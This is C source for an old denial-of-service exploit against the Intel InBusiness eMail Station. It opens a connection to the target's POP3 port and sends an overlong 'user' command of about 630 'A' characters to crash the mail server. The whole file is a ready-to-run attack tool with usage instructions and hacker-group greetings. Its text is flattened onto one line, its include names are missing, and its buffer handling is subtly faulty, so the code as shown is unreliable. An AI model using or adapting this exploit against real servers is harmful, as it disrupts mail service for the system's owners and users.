/* * intel InBusiness eMail Station DoS * * Errr... Denial Of Service against that little black intel box * by incubus * * Respect: securax, hackschool, shelloracle, tessa, kim, * glyc, splat, lamagra and steven. */ #include #include #include #include #include #include #include #include void usage(char *proggie){ fprintf (stderr, "Intel InBusiness eMail Station Denial of Service\n"); fprintf (stderr, "do %s mail.server.com\n", proggie); fprintf (stderr, "mail.server.com must be an InBusiness eMail Station\n\n"); exit(-1); } int main(int argc, char **argv){ char buf[636]; int i, sock, result; struct sockaddr_in name; struct hostent *hostinfo; if (argc < 2) usage(argv[0]); fprintf (stdout, "Intel InBusiness eMail Station Denial of Service\n"); fprintf (stdout, "by incubus \n\n"); hostinfo=gethostbyname(argv[1]); if (!hostinfo){ herror("Error"); exit(-1); } name.sin_family=AF_INET; name.sin_port=htons(110); name.sin_addr=*(struct in_addr *)hostinfo->h_addr; sock=socket(AF_INET, SOCK_STREAM, 0); result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in)); if (result != 0) { herror("Oops"); exit(-1); } if (sock < 0){ herror("Oops"); exit(-1); } strncpy(buf, "user ", 5); for (i=0; i<630; i++) strncat(buf, "A", 1); send(sock, buf, sizeof(buf), 0); close(sock); fprintf (stdout, "Denial of Service done\n\n"); close(sock); }

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